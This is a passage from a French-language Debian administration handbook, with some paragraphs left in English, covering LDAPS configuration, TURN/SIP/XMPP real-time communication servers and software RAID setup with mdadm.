With ldapvi, you can display an LDIF output of any part of the LDAP directory, make some changes in the text editor, and let the tool do the corresponding LDAP operations for you.

C'est donc une manière particulièrement pratique de mettre à jour la configuration du serveur LDAP, simplement en éditant la hiérarchie cn=config.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

La dernière étape pour activer la mise en place du chiffrement est de modifier la variable SLAPD_SERVICES du fichier /etc/default/slapd. Notons au passage que pour éviter tout risque, on désactive la possibilité de LDAP non sécurisé.

Exemple 11.25. Fichier /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If

# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to

# /etc/ldap/slapd.conf).

SLAPD_CONF=

# System account to run the slapd server under. If empty the server

# will run as root.

SLAPD_USER="openldap"

# System group to run the slapd server under. If empty the server will

# run in the primary group of its user.

SLAPD_GROUP="openldap"

# Path to the pid file of the slapd server. If not set the init.d script

# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.d by

# default)

SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also

# service requests on TCP-port 636 (ldaps) and requests via unix

# sockets.

# Example usage:

# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"

SLAPD_SERVICES="ldaps:/// ldapi:///"

# If SLAPD_NO_START is set, the init script will not start or restart

# slapd (but stop will still work).  Uncomment this if you are

# starting slapd via some other means or if you don't want slapd normally

# started at boot.

#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,

# the init script will not start or restart slapd (but stop will still

# work).  Use this for temporarily disabling startup of slapd (when doing

# maintenance, for example, or through a configuration management system)

# when you don't want to edit a configuration file.

SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system

# keytab file (/etc/krb5.keytab).  To use a different keytab file,

# uncomment this line and change the path.

#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd

SLAPD_OPTIONS=""

11.7.3.3.2. Configuration côté client

Côté client, il faut modifier la configuration des modules libpam-ldap et libnss-ldap en utilisant une URI en ldaps://.

LDAP clients also need to be able to authenticate the server. In an X.509 public key infrastructure, public certificates are signed by the key of a certificate authority (CA). With easy-rsa, the Falcot administrators have created their own CA and they now need to configure the system to trust the signatures of Falcot's CA. This can be done by putting the CA certificate in /usr/local/share/ca-certificates and running update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt

# update-ca-certificates

Updating certificates in /etc/ssl/certs...

1 added, 0 removed; done.

Running hooks in /etc/ca-certificates/update.d...

Adding debian:falcot.pem

done.

done.

Pour terminer, il est intéressant de configurer l'URI LDAP et le DN que les divers outils de ligne de commande vont utiliser par défaut. Cela se configure dans /etc/ldap/ldap.conf et évite d'avoir à taper ces paramètres sur chaque ligne de commande.

Exemple 11.26. Fichier /etc/ldap/ldap.conf

#

# LDAP Defaults

#

# See ldap.conf(5) for details

# This file should be world readable but not world writable.

#BASE   dc=example,dc=com

#URI    ldap://ldap.example.com ldap://ldap-provider.example.com:666

#SIZELIMIT      12

#TIMELIMIT      15

#DEREF          never

# TLS certificates (needed for GnuTLS)

TLS_CACERT      /etc/ssl/certs/ca-certificates.crt

11.8. Services de communication en temps réel

Real-Time Communication (RTC) services include voice, video/webcam, instant messaging (IM) and desktop sharing. This chapter gives a brief introduction to three of the services required to operate RTC, including a TURN server, SIP server and XMPP server. Comprehensive details of how to plan, install and manage these services are available in the Real-Time Communications Quick Start Guide which includes examples specific to Debian.

→ https://rtcquickstart.org

SIP et XMPP peuvent fournir les mêmes services. SIP est un peu plus connu pour la voix sur IP et la vidéo alors que XMPP est traditionnellement utilisé comme protocole de messagerie instantanée. En réalité, les deux peuvent être utilisés pour les deux services. Pour optimiser les options de connectivité, il est recommandé d'exploiter les deux en parallèle.

These services rely on X.509 certificates both for authentication and confidentiality purposes. See Section 10.2, « X.509 certificates » for more information.

11.8.1. Paramètres DNS pour les services RTC

RTC services require DNS SRV and NAPTR records. A sample configuration that can be placed in the zone file for falcot.com (see also Exemple 10.13, « Extrait du fichier /etc/bind/db.falcot.com »:

; le serveur où tout va fonctionner

server1            IN     A      198.51.100.19

server1            IN     AAAA   2001:DB8:1000:2000::19

; IPv4 seulement pour TURN pour le moment, certains clients

; ne fonctionnent pas avec IPv6

turn-server        IN     A      198.51.100.19

; adresses IPv4 et IPv6 pour  SIP

sip-proxy          IN     A      198.51.100.19

sip-proxy          IN     AAAA   2001:DB8:1000:2000::19

; adresses IPv4 et IPv6 pour XMPP

xmpp-gw            IN     A      198.51.100.19

xmpp-gw            IN     AAAA   2001:DB8:1000:2000::19

; DNS SRV et NAPTR pour STUN / TURN

_stun._udp  IN SRV    0 1 3467 turn-server.falcot.com.

_turn._udp  IN SRV    0 1 3467 turn-server.falcot.com.

@           IN NAPTR  10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com.

; DNS SRV et NAPTR pour SIP

_sips._tcp  IN SRV    0 1 5061 sip-proxy.falcot.com.

@           IN NAPTR  10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com.

; enregistrements DNS SRV pour les modes XMPP Server et Client:

_xmpp-client._tcp  IN     SRV    5 0 5222 xmpp-gw.falcot.com.

_xmpp-server._tcp  IN     SRV    5 0 5269 xmpp-gw.falcot.com.

11.8.2. Serveur TURN

TURN est un service qui aide les clients derrière des routeurs NAT et des pare-feu à trouver le chemin le plus efficace pour communiquer avec d'autres clients et pour relayer les flux media si aucun chemin direct n'est trouvé. Il est grandement recommandé d'installer le serveur TURN avant que tous les autres services RTC ne soient disponibles pour les utilisateurs finaux.

TURN et le protocole ICE sont des standards ouverts. Pour tirer profit de ces protocoles, en maximisant la connectivité et en minimisant la frustration des utilisateurs, il est important de s'assurer que tous les logiciels clients les supportent.

Pour que l'algorithme ICE fonctionne efficacement, le serveur doit avoir deux adresses publiques IPv4.

Install the coturn package and edit the /etc/turnserver.conf configuration file. By default, a SQLite database is configured in /var/db/turndb for user account settings, but PostgreSQL, MySQL or Redis can be set up instead if preferred. The most important thing to do is insert the IP addresses of the server.

The server can be started running turnserver from the coturn package. We want the server to be an automatically started system service. This is the default behavior using systemd. Only when using the older SysVinit you have to edit the /etc/default/coturn file like this:

#

# Uncomment it if you want to have the turnserver running as

# an automatic system service daemon

#

TURNSERVER_ENABLED=1

By default, the TURN server uses anonymous access. We have to add the users we want to use:

# turnadmin -a -u roland -p secret_password -r falcot.com

# turnadmin -A -u admin -p secret_password

We use the argument -a to add a normal user and -A to add an admin user.

11.8.3. Serveur Proxy SIP

Un serveur proxy SIP gère les connexions SIP entrantes et sortantes entre différentes organisations, les fournisseurs de tronc SIP (SIP trunking), les autocommutateurs téléphoniques privés (Private Automatic Branch eXchange, PBX) comme Asterisk, les téléphones SIP, les logiciels de téléphonie basés sur SIP et les applications WebRTC.

Il est fortement recommandé d'installer et de configurer le proxy SIP avant d'essayer de mettre en place un PBX (autocommutateur téléphonique privé). Le proxy SIP normalise une large partie du trafic arrivant au PBX et fournit une plus grande connectivité et une résilience plus importante.

11.8.3.1. Installation du proxy SIP

Install the kamailio package and the package for the database backend. The Falcot administrators chose MySQL, so they install kamailio-mysql-modules and mariadb-server. /etc/kamailio/kamctlrc is the configuration file for the control tools kamctl and kamdbctl. You need to edit and set the SIP_DOMAIN to your SIP service domain and set the DBENGINE to MySQL, another database backend can be used.

[...]

## your SIP domain

SIP_DOMAIN=sip.falcot.com

## chrooted directory

# CHROOT_DIR="/path/to/chrooted/directory"

## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE

# by default none is loaded

#

# If you want to setup a database with kamdbctl, you must at least specify

# this parameter.

DBENGINE=MYSQL

[...]

Now we focus on the configuration file /etc/kamailio/kamailio.cfg. Falcot needs user authentication and persistent user location, so they add the following #!define directives at the top of that file:

#!KAMAILIO

#

# Kamailio (OpenSER) SIP Server v5.2 - default configuration script

#     - web: https://www.kamailio.org

#     - git: https://github.com/kamailio/kamailio

#!define WITH_MYSQL

#!define WITH_AUTH

#!define WITH_USRLOCDB

[...]

Kamailio needs a database structure that we can create running kamdbctl create as root. Finally, we can add some users with kamctl.

# kamdbctl create

[...]

# kamctl add roland secret_password

Once everything is properly configured you can start or restart the service with systemctl restart kamailio, you can connect with a SIP client providing the IP address and the port (5090 is the default port). The users have the following id: roland@sip.falcot.com, and they can login using a client (see Section 13.9, « Logiciels de communication en temps réel »).

11.8.4. Serveur XMPP

Un serveur XMPP gère la connectivité entre les utilisateurs XMPP locaux et les utilisateurs XMPP dans d'autres domaines de l'Internet public.

VOCABULAIRE XMPP ou Jabber ?

Il est parfois fait référence à XMPP sous le nom de Jabber. En réalité, Jabber est une marque alors que XMPP est le nom officiel du standard.

prosody is a popular XMPP server that operates reliably on Debian servers.

11.8.4.1. Installation du serveur XMPP

Install the prosody package.

Vérifiez le fichier de configuration /etc/prosody/prosody.cfg.lua. La principale chose à faire est de renseigner l'identifiant des utilisateurs autorisés à gérer le serveur.

admins = { "joe@falcot.com" }

Il faut également un fichier de configuration pour chaque domaine. Copiez l'exemple de /etc/prosody/conf.avail/example.com.cfg.lua et adaptez le suivant les besoins. Voici le fichier falcot.com.cfg.lua créé par les administrateurs de Falcot :

VirtualHost "falcot.com"

enabled = true

ssl = {

key = "/etc/ssl/private/falcot.com.key";

certificate = "/etc/ssl/certs/falcot.com.pem";

}

-- Set up a MUC (multi-user chat) room server on conference.example.com:

Component "conference.falcot.com" "muc"

Pour activer le domaine, il faut créer un lien symbolique dans /etc/prosody/conf.d/ :

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Redémarrez le service pour utiliser la nouvelle configuration.

11.8.4.2. Gestion du serveur XMPP

Some management operations can be performed using the prosodyctl command line utility. For example, to add the administrator account specified in /etc/prosody/prosody.cfg.lua:

# prosodyctl adduser joe@falcot.com

See the Prosody online documentation for more details about how to customize the configuration.

11.8.5. Services fonctionnant sur le port 443

Certains administrateurs préfèrent faire tourner tous leurs services RTC sur le port 443. Cela simplifie la connexion des utilisateurs qui sont dans des endroits éloignés, tels que des hôtels et des aéroports où les autres ports risquent d'être bloqués et où le trafic Internet est acheminé à travers des serveurs proxy HTTP.

Pour réaliser ceci, chaque service (SIP, XMPP et TURN) doit avoir une adresse IP différente. Tous les services peuvent cependant être sur le même hôte puisque Linux gère des adresses IP multiples sur un seul hôte. Le numéro de port, 443, doit être spécifié dans les fichiers de configuration de chaque service et aussi dans les enregistrements DNS de type SRV.

11.8.6. Ajout de WebRTC

Falcot souhaite que les clients puissent téléphoner directement à partir du site web. Les administrateurs de Falcot veulent aussi utiliser WebRTC dans le cadre de leur plan de reprise après sinistre, pour que le personnel puisse utiliser les navigateurs web de chez eux pour se connecter au système téléphonique de l'entreprise et travailler normalement en cas d'urgence.

EN PRATIQUE Essayer WebRTC

If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.

→ https://sip5060.net/test-calls

WebRTC is a rapidly evolving technology and it is essential to use packages from the Testing distribution. Another option is to compile the software.

WebRTC uses a simple API to provide browsers and mobile applications with RTC, it is free software and it is being developed by Google.

→ https://webrtc.org

A very flexible approach is using GStreamer's WebRTC implementation. It enables pipeline-based multimedia applications, which allows developing interesting and highly efficient applications. A good starting point is the following demo by Centricular, the main company that is developing it:

→ https://gitlab.freedesktop.org/gstreamer/gst-examples

More advanced click-to-call web sites typically use server-side scripting to generate the config.js file dynamically. The DruCall source code demonstrates how to do this with PHP.

Le tour d'horizon des logiciels serveurs proposé par ce chapitre est loin d'être exhaustif, mais il recouvre toutefois la réalité des services réseau les plus employés. Passons sans plus tarder à un chapitre encore plus technique : approfondissement de certains concepts, déploiement à grande échelle, virtualisation sont autant de sujets passionnants que nous allons aborder.

Chapitre 12. Administration avancée

Ce chapitre est l'occasion de revenir sur des aspects déjà abordés mais avec une nouvelle perspective : au lieu d'installer une machine, nous étudierons les solutions pour déployer un parc de machines ; au lieu de créer une partition RAID ou LVM avec les outils intégrés à l'installateur, nous apprendrons à le faire manuellement afin de pouvoir revenir sur les choix initiaux. Enfin, la découverte des outils de supervision et de virtualisation parachèvera ce chapitre avant tout destiné aux administrateurs professionnels plus qu'aux particuliers responsables de leur réseau familial.

12.1. RAID et LVM

Chapitre 4, Installation presented these technologies from the point of view of the installer, and how it integrated them to make their deployment easy from the start. After the initial installation, an administrator must be able to handle evolving storage space needs without having to resort to an expensive re-installation. They must therefore understand the required tools for manipulating RAID and LVM volumes.

Ces deux techniques permettent d'abstraire les volumes à monter de leurs contreparties physiques (disques durs ou partitions), la première pour garantir la sécurité et la disponibilité des données en cas de panne matérielle en dupliquant les informations et la seconde pour gérer ses données à sa guise en faisant abstraction de la taille réelle de ses disques. Dans les deux cas, cela se traduit par de nouveaux périphériques de type bloc sur lesquels on pourra donc créer des systèmes de fichiers, ou des espaces de mémoire virtuelle, qui ne correspondent pas directement à un seul disque dur réel. Bien que ces deux systèmes aient des origines bien distinctes, leurs fonctionnalités se recoupent en partie ; c'est pourquoi ils sont souvent mentionnés ensemble.

PERSPECTIVE Btrfs combine LVM et RAID

While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a filesystem, initially developed at Oracle, that purports to combine the feature sets of LVM and RAID and much more.

→ https://btrfs.wiki.kernel.org/

Parmi les fonctionnalités les plus intéressantes, on peut noter la possibilité de capturer l'état d'une arborescence à un instant donné. Cette copie ne consomme initialement pas d'espace disque, chaque fichier n'étant réellement dupliqué que lorsque l'une des deux copies est modifiée. Il gère également la compression (transparente) des fichiers et des sommes de contrôle pour s'assurer de l'intégrité de toutes les données stockées.

À la fois pour RAID et pour LVM, le noyau fournit un fichier de périphérique accessible en mode bloc (donc de la même manière qu'un disque dur ou une partition de celui-ci). Lorsqu'une application, ou une autre partie du noyau, a besoin d'accéder à un bloc de ce périphérique, le sous-système correspondant se charge d'effectuer le routage de ce bloc vers la couche physique appropriée, ce bloc pouvant être stocké sur un ou plusieurs disques, à un endroit non directement corrélé avec l'emplacement demandé dans le périphérique logique.

12.1.1. RAID logiciel

RAID means Redundant Array of Independent Disks. The goal of this system is to prevent data loss and ensure availability in case of hard disk failure. The general principle is quite simple: data are stored on several physical disks instead of only one, with a configurable level of redundancy. Depending on this amount of redundancy, and even in the event of an unexpected disk failure, data can be losslessly reconstructed from the remaining disks.

CULTURE Independent ou inexpensive ?

The I in RAID initially stood for inexpensive, because RAID allowed a drastic increase in data safety without requiring investing in expensive high-end disks. Probably due to image concerns, however, it is now more customarily considered to stand for independent, which doesn't have the unsavory flavor of cheapness.

Le RAID peut être mis en œuvre par du matériel dédié (soit des modules RAID intégrés à des cartes pour contrôleur SCSI, soit directement sur la carte mère) ou par l'abstraction logicielle (le noyau). Qu'il soit matériel ou logiciel, un système RAID disposant de suffisamment de redondance peut, en cas de défaillance d'un disque, rester opérationnel en toute transparence, le niveau supérieur (les applications) pouvant même continuer à accéder aux données sans interruption malgré la panne. Évidemment, ce « mode dégradé » peut avoir des implications en termes de performances et il réduit la quantité de redondance du système ; une deuxième panne simultanée peut aboutir à la perte des données. Il est donc d'usage de ne rester en mode dégradé que le temps de se procurer un remplaçant pour le disque défaillant. Une fois qu'il est mis en place, le système RAID peut reconstruire les données qui doivent y être présentes, de manière à revenir à un état sécurisé. Le tout se fait bien entendu de manière invisible pour les applications, hormis les baisses éventuelles de performances pendant la durée du mode dégradé et la phase de reconstruction qui s'ensuit.

Lorsque le RAID est implémenté par le matériel, c'est le setup du BIOS qui permet généralement de le configurer et le noyau Linux va considérer le volume RAID comme un seul disque, fonctionnant comme un disque standard, à ceci près que le nom du périphérique peut différer.

Nous ne traiterons que du RAID logiciel dans ce livre.

12.1.1.1. Différents niveaux de RAID

On distingue plusieurs niveaux de RAID, différant dans l'agencement des données et le degré de redondance qu'ils proposent. Plus la redondance est élevée, plus la résistance aux pannes sera forte, puisque le système pourra continuer à fonctionner avec un plus grand nombre de disques en panne ; la contrepartie est que le volume utile de données devient plus restreint (ou, pour voir les choses différemment, qu'il sera nécessaire d'avoir plus de disques pour stocker la même quantité de données).

RAID linéaire

Even though the kernel's RAID subsystem allows creating “linear RAID”, this is not proper RAID, since this setup doesn't involve any redundancy. The kernel merely aggregates several disks end-to-end and provides the resulting aggregated volume as one virtual disk (one block device). That is about its only function. This setup is rarely used by itself (see later for the exceptions), especially since the lack of redundancy means that one disk failing makes the whole aggregate, and therefore all the data, unavailable.

RAID-0

Ici non plus, aucune redondance n'est proposée, mais les disques ne sont plus simplement mis bout à bout : ils sont en réalité découpés en stripes (bandes), ces bandes étant alors intercalées dans le disque logique. Ainsi, dans le cas de RAID-0 à deux disques, les blocs impairs du volume virtuel seront stockés sur le premier disque et les blocs pairs sur le second.

This system doesn't aim at increasing reliability, since (as in the linear case) the availability of all the data is jeopardized as soon as one disk fails, but at increasing performance: during sequential access to large amounts of contiguous data, the kernel will be able to read from both disks (or write to them) in parallel, which increases the data transfer rate. The disks are utilized entirely by the RAID device, so they should have the same size not to lose performance.

RAID-0 use is shrinking, its niche being filled by LVM (see later).

RAID-1

Aussi connu sous le nom de « RAID miroir », c'est le système RAID le plus simple. Il utilise en général deux disques physiques de tailles identiques et fournit un volume logique de la même taille. Les données sont stockées à l'identique sur les deux disques, d'où l'appellation de « miroir ». En cas de panne d'un disque, les données restent accessibles sur l'autre. Pour les données vraiment critiques, on peut utiliser le RAID-1 sur plus de deux disques, au prix de devoir multiplier le rapport entre le coût des disques et la quantité de données utiles.

NOTE Taille des disques, taille de l'ensemble

Si deux disques de tailles différentes sont groupés dans un volume en RAID miroir, le plus gros disque ne sera pas intégralement utilisé, puisqu'il contiendra exactement les mêmes données que le plus petit (et rien de plus). La capacité utile du volume RAID-1 est donc la plus petite des tailles des disques qui le composent. Il en va de même pour les volumes RAID de niveau plus élevé, même si la redondance est répartie différemment.

On veillera donc à n'assembler dans un même volume RAID (sauf RAID-0 et linéaire) que des disques de même taille (ou de tailles très proches), afin d'éviter un gaspillage des ressources.

NOTE Disques de secours

Dans les niveaux qui offrent une redondance, on peut affecter à un volume RAID plus de disques que nécessaire, qui serviront de secours en cas de défaillance d'un disque principal. Ainsi, il est possible de mettre en place un miroir de deux disques plus un de secours ; si l'un des deux premiers disques tombe, le noyau va automatiquement en reconstruire le contenu sur le disque de secours, de sorte que la redondance restera assurée (après le temps de reconstruction). Ceci est utile pour des données vraiment critiques.

On peut s'interroger sur l'intérêt de cette possibilité, comparé par exemple à l'établissement d'un miroir sur trois disques. L'avantage de cette configuration est en fait que le disque de secours peut être partagé entre plusieurs volumes RAID. On peut ainsi avoir trois volumes miroir, avec l'assurance que les données seront toujours stockées en double même en cas de panne d'un disque, avec seulement 7 disques (trois paires, plus un disque de secours partagé) au lieu de 9 (trois triplets).

Ce niveau de RAID, bien qu'onéreux (puisque seule la moitié, au mieux, de l'espace disque physique se retrouve utilisable), reste assez utilisé en pratique. Il est en effet conceptuellement simple et il permet de réaliser très simplement des sauvegardes (puisque les deux disques sont identiques, on peut en extraire temporairement un sans perturber le fonctionnement du système). Les performances en lecture sont généralement améliorées par rapport à un simple disque (puisque le système peut théoriquement lire la moitié des données sur chaque disque, en parallèle sur les deux), sans trop de perte en vitesse d'écriture. Dans le cas de RAID-1 à N disques, les données restent disponibles même en cas de panne de N-1 disques.

CAUTION RAID is not Backup

RAID systems are not backup mechanisms. While RAID increases the redundancy - and therefore the availability of a system - and protects against disk failures, backups are done to protect data from being altered, deleted, getting corrupted, etc., and to be able to restore them if necessary. To demonstrate this: If you remove one or all files by accident, a RAID will mirror this change, but it will not provide the means to restore the file(s). So while there is clearly an overlap, they are not the same and should be used in conjunction with each other.

RAID-4

Ce niveau de RAID, assez peu usité, utilise N disques pour stocker les données utiles, et un disque supplémentaire pour des informations de redondance. Si ce disque tombe en panne, le système peut le reconstruire à l'aide des N autres. Si c'est un des N disques de données qui tombe, les N-1 restants et le disque de parité contiennent suffisamment d'informations pour reconstruire les données.

Le RAID-4 est peu onéreux (puisqu'il n'entraîne qu'un surcoût d'un disque pour N), n'a pas d'impact notable sur les performances en lecture, mais ralentit les écritures. De plus, comme chaque écriture sur un des N disques s'accompagne d'une écriture sur le disque de parité, celui-ci se voit confier beaucoup plus d'écritures que ceux-là et peut voir sa durée de vie considérablement réduite en conséquence. Il résiste au maximum à la panne d'un disque parmi les N+1.

RAID-5

Le RAID-5 corrige ce dernier défaut du RAID-4, en répartissant les blocs de parité sur les N+1 disques, qui jouent à présent un rôle identique.

Les performances en lecture et en écriture sont inchangées par rapport au RAID-4. Là encore, le système reste fonctionnel en cas de défaillance d'un disque parmi les N+1, mais pas plus.

RAID-6

Le RAID-6 peut être considéré comme une extension du RAID-5, dans laquelle à chaque série de N blocs correspondent non plus un mais deux blocs de parité, qui sont ici aussi répartis sur les N+2 disques.

Ce niveau de RAID, légèrement plus coûteux que les deux précédents, apporte également une protection supplémentaire puisqu'il conserve l'intégralité des données même en cas de panne simultanée de deux disques (sur N+2). La contrepartie est que les opérations d'écriture impliquent dorénavant l'écriture d'un bloc de données et de deux blocs de contrôle, ce qui les ralentit d'autant plus.

RAID-1+0

This isn't strictly speaking, a RAID level, but a stacking of two RAID groupings. Starting from 2×N disks, one first sets them up by pairs into N RAID-1 volumes; these N volumes are then aggregated into one, either by “linear RAID” or (increasingly) by LVM. This last case goes farther than pure RAID, but there is no problem with that.

Le RAID-1+0 tolère la panne de disques multiples, jusqu'à N dans le cas d'un groupe de 2×N, à condition qu'au moins un disque reste fonctionnel dans chaque paire associée en RAID-1.

POUR ALLER PLUS LOIN RAID-10

« RAID-10 » est généralement considéré comme un synonyme pour « RAID-1+0 », mais une spécificité de Linux en fait en réalité une généralisation. On peut dans ce mode de fonctionnement obtenir un système où chaque bloc existe en double sur deux disques différents, malgré un nombre impair de disques, les copies étant réparties selon différents modèles en fonction de la configuration.

Les performances pourront varier en fonction du modèle et du niveau de redondance choisis, ainsi que du type d'activité sur le volume logique.

On choisira bien entendu le niveau de RAID en fonction des contraintes et des besoins spécifiques de chaque application. Notons qu'on peut constituer plusieurs volumes RAID distincts, avec des configurations différentes, sur le même ordinateur.

12.1.1.2. Mise en place du RAID

La mise en place de volumes RAID se fait grâce au paquet mdadm ; ce dernier contient la commande du même nom, qui permet de créer et manipuler des ensembles RAID, ainsi que les scripts et outils permettant l'intégration avec le système et la supervision.

Prenons l'exemple d'un serveur sur lequel sont branchés un certain nombre de disques, dont certains sont occupés et d'autres peuvent être utilisés pour établir du RAID. On dispose initialement des disques et partitions suivants :

- le disque sdb, de 4 Go, est entièrement disponible ;

- le disque sdc, de 4 Go, est également entièrement disponible ;

- sur le disque sdd, seule la partition sdd2 d'environ 4 Go est disponible ;

- enfin, un disque sde, toujours de 4 Go, est entièrement disponible.

NOTE Identifier les volumes RAID existants

Le fichier /proc/mdstat liste les volumes existants et leur état. On prendra soin lors de la création d'un nouveau volume RAID de ne pas essayer de le nommer avec le nom d'un volume existant.

Nous allons construire sur ces éléments physiques deux volumes, l'un en RAID-0, l'autre en miroir. Commençons par le RAID-0 :

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md0 started.

# mdadm --query /dev/md0

/dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md0

/dev/md0:

Version : 1.2

Creation Time : Mon Feb 28 01:54:24 2022

Raid Level : raid0

Array Size : 8378368 (7.99 GiB 8.58 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 01:54:24 2022

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Layout : -unknown-

Chunk Size : 512K

Consistency Policy : none

Name : debian:0  (local to host debian)

UUID : a75ac628:b384c441:157137ac:c04cd98c

Events : 0

Number   Major   Minor   RaidDevice State

0       8        0        0      active sync   /dev/sdb

1       8       16        1      active sync   /dev/sdc

# mkfs.ext4 /dev/md0

mke2fs 1.46.2 (28-Feb-2021)

Discarding device blocks: done

Creating filesystem with 2094592 4k blocks and 524288 inodes

Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/raid-0

# mount /dev/md0 /srv/raid-0

# df -h /srv/raid-0

Filesystem      Size  Used Avail Use% Mounted on

/dev/md0        7.8G   24K  7.4G   1% /srv/raid-0

The mdadm --create command requires several parameters: the name of the volume to create (/dev/md*, with MD standing for Multiple Device), the RAID level, the number of disks (which is compulsory despite being mostly meaningful only with RAID-1 and above), and the physical drives to use. Once the device is created, we can use it like we'd use a normal partition, create a filesystem on it, mount that filesystem, and so on. Note that our creation of a RAID-0 volume on md0 is nothing but coincidence, and the numbering of the array doesn't need to be correlated to the chosen amount of redundancy. It is also possible to create named RAID arrays, by giving mdadm parameters such as /dev/md/linear instead of /dev/md0.

La création d'un volume RAID-1 se fait de manière similaire, les différences n'apparaissant qu'après sa création :

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde

mdadm: Note: this array has metadata at the start and

may not be suitable as a boot device.  If you plan to

store '/boot' on this device please ensure that

your boot-loader understands md/v1.x metadata, or use

--metadata=0.90

mdadm: largest drive (/dev/sdc2) exceeds size (4189184K) by more than 1%

Continue creating array? y

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md1 started.

# mdadm --query /dev/md1

/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:08:09 2022

State : clean, resync

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Consistency Policy : resync

Rebuild Status : 13% complete

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 17

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

1       8       48        1      active sync   /dev/sde

# mdadm --detail /dev/md1

/dev/md1:

[...]

State : clean

[...]

ASTUCE RAID, disques et partitions

As illustrated by our example, RAID devices can be constructed out of disk partitions as well, and do not require full disks.

Plusieurs remarques ici. Premièrement, mdadm constate que les deux éléments physiques n'ont pas la même taille ; comme cela implique que de l'espace sera perdu sur le plus gros des deux éléments, une confirmation est nécessaire.

La deuxième remarque, plus importante, concerne l'état du miroir. Les deux disques sont en effet censés avoir, en fonctionnement normal, un contenu rigoureusement identique. Comme rien ne garantit que ce soit le cas à la création du volume, le système RAID va s'en assurer. Il y a donc une phase de synchronisation, automatique, dès la création du périphérique RAID. Si l'on patiente quelques instants (qui varient selon la taille des disques...), on obtient finalement un état « actif » ou « propre ». Il est à noter que durant cette étape de reconstruction du miroir, l'ensemble RAID est en mode dégradé et que la redondance n'est pas assurée. Une panne de l'un des disques pendant cette fenêtre sensible peut donc aboutir à la perte de l'intégralité des données. Il est cependant rare que de grandes quantités de données critiques soient placées sur un volume RAID fraîchement créé avant que celui-ci ait eu le temps de se synchroniser. On notera également que même en mode dégradé, le périphérique /dev/md1 est utilisable (pour créer le système de fichiers et commencer à copier des données, éventuellement).

ASTUCE Démarrer un miroir en mode dégradé

Lorsque l'on souhaite sécuriser des données présentes sur un disque non RAID et les migrer vers un volume RAID-1, il n'est pas toujours possible de disposer à la fois de l'ancien disque et des deux nouveaux en même temps (souvent parce que le disque existant va être intégré dans le miroir). On peut alors délibérément créer le volume RAID-1 en mode dégradé, en passant missing en argument à mdadm à la place d'un des deux périphériques à utiliser. Une fois que les données auront été copiées vers le « miroir », le disque historique pourra être intégré au volume. Une synchronisation aura alors lieu, à la suite de quoi les données seront stockées de manière redondante.

ASTUCE Mise en place d'un miroir sans synchronisation

Lorsque l'on crée un volume RAID-1, c'est généralement pour l'utiliser comme un disque neuf, donc a priori vierge. Le contenu initial de ce disque importe peu, puisque l'on n'a besoin que de savoir que les données écrites seront bien restituées (en particulier le système de fichiers).

Il peut donc sembler superflu de synchroniser les deux disques d'un miroir lors de sa création. À quoi sert d'avoir un contenu identique sur des zones du volume dont on sait qu'on ne se servira qu'après y avoir écrit ?

Il est heureusement possible de se passer de cette phase de synchronisation, grâce à l'option --assume-clean de mdadm. Cette option pouvant amener à des résultats surprenants dans les cas d'usage où les données initiales seront utilisées (par exemple si un système de fichiers est déjà présent), elle n'est pas active par défaut.

Voyons à présent ce qui se passe en cas de panne d'un élément de l'ensemble RAID-1. mdadm permet de simuler cette défaillance, grâce à son option --fail :

# mdadm /dev/md1 --fail /dev/sde

mdadm: set /dev/sde faulty in /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:15:34 2022

State : clean, degraded

Active Devices : 1

Working Devices : 1

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 19

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

